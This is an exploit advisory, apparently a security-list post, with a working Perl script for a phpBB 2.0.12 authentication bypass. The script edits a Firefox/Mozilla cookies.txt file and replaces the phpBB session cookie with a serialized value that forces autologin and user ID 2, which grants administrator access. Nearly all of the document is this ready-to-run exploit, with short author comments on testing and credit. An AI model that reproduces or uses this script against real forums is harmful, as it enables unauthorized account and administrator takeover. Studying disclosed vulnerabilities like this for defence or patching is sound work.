  phpBB UID Exploit (Perl exploit)
------------------------------------------------------------------------


SUMMARY

" <http://www.phpbb.com/> phpBB is a high powered, fully scalable, and 
highly customizable Open Source bulletin board package."

This exploit modifies the UID field in the cookies.txt file of Mozilla's 
browsers in such a way that when the browser will try to access the phpBB 
forum it will be granted access with the user_id provided rather than the 
original one.

#

#  I tested this code with Firefox on my linux box, I do not know if it 
works with mozilla or on #windows
#  $url is the name of the cookie ( www.phpbb.com / $url= phpbb.com ) Look 
at cookies.txt for the name of the cookie

#  I wrote this exploit after reading "phpBB 2.0.12 Session Handling 
Administrator Authentication
# Bypass    -SIMPLIFIED-"  By PPC^Rebyte
#  and it is based on his code
#
# Sorry for my bad english :/

$file = "/////cookies.txt" ; # path to your cookies.txt
$url = $ARGV[0];

open (FILE , '<'."$file" ) or die ('File does not exist')  ; # path to 
your
cookies.txt file
@cookie= <FILE> ;
close FILE ;


$exploit = "a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs". 
"%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D";

foreach $i (@cookie)
{
if ($i=~/$url/) {

$i =~ s/a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22". 
"%3Bs%3A6%3A%22userid%22%3Bs%3A(.*?)%3A%22(.*?)%22%3B%7D/$exploit/;
print "OK\n" ;
}

}

open (FILE , '>'."$file") or die ('Can not write Cookie') ; ;
print FILE @cookie ;
close FILE ;
